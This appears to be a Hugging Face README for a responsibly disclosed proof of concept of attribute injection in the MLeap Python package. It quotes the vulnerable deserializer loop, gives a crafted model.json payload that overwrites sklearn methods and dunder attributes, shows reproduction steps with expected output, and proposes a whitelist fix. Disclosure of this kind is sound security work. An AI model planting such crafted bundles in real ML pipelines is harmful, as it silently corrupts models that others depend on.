MBM7's picture
Upload 2 files
8e675de verified
|
Raw
History Blame Contribute Delete
3.22 kB
---
tags:
- security
- vulnerability
- poc
- mleap
- sklearn
- attribute-injection
- cwe-915
- model-integrity
license: mit
---
# MLeap β€” Bundle Arbitrary Attribute Injection (PoC)
**Repo:** `MBM7/mleap-attribute-injection-poc`
**Status:** Responsible disclosure β€” submitted to Huntr
**Severity:** High / CWE-915
**Package:** `mleap` (PyPI) β€” ML pipeline serialization format
---
## Summary
A crafted MLeap bundle `model.json` can **overwrite any Python attribute**
of any sklearn transformer β€” including methods like `transform()` and
`predict()` β€” causing silent model corruption at inference time.
No exception is raised during loading.
---
## Root Cause
`mleap/bundle/serialize.py`, `MLeapDeserializer.deserialize_single_input_output()`, line 208:
```python
for attribute in attributes.keys(): # ← from model.json, NO validation
value_key = [key for key in attributes[attribute].keys()
if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
setattr(transformer, attribute, attributes[attribute][value_key])
# ^^^^^^^^^ ANY Python attribute name
```
`attribute` comes directly from `model.json` in the MLeap bundle with
**no whitelist or validation**. An attacker controls all attribute names
and their values.
---
## Attack
Craft a `model.json` with injected attribute names alongside legitimate ones:
```json
{
"op": "standard_scaler",
"attributes": {
"mean_": {"double": [0.5, 1.5, 2.5]},
"transform": {"string": "HIJACKED"},
"__module__": {"string": "os"},
"n_features_in_": {"long": 9999999999}
}
}
```
After `MLeapDeserializer().deserialize_single_input_output(scaler, node_dir)`:
- `scaler.transform` = `"HIJACKED"` (method overwritten with string)
- `scaler.__module__` = `"os"` (`__dunder__` injected)
- `scaler.n_features_in_` = `9999999999` (shape validation bypassed)
Calling `scaler.transform(X)` raises `TypeError: 'str' object is not callable`.
---
## Reproduce
```bash
pip install mleap scikit-learn numpy
python poc_mleap_setattr_injection.py
```
Expected:
```
result.transform : 'HIJACKED' ← INJECTED (was method!)
result.__module__ : os ← INJECTED
result.n_features_in_ : 9999999999 ← INJECTED
result.transform(X) : TypeError: 'str' object is not callable
```
---
## Distinct class from all previous findings
All previous findings were **CWE-789** (memory allocation). This is:
- **CWE-915** (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
- No memory exhaustion β€” model integrity/behavioral attack
- Silent failure at inference time, not at load time
---
## Suggested Fix
```python
ALLOWED_ATTRS = frozenset({
'mean_', 'var_', 'scale_', 'with_mean', 'with_std',
'copy', 'n_features_in_', 'n_samples_seen_', 'op',
# ... per-transformer whitelist
})
for attribute in attributes.keys():
if attribute not in ALLOWED_ATTRS:
raise ValueError(f"Attribute {attribute!r} not in allowed list")
setattr(transformer, attribute, ...)
```
---
## Environment
| Package | Version |
|---------|---------|
| mleap | 0.25.1 |
| Python | 3.12 |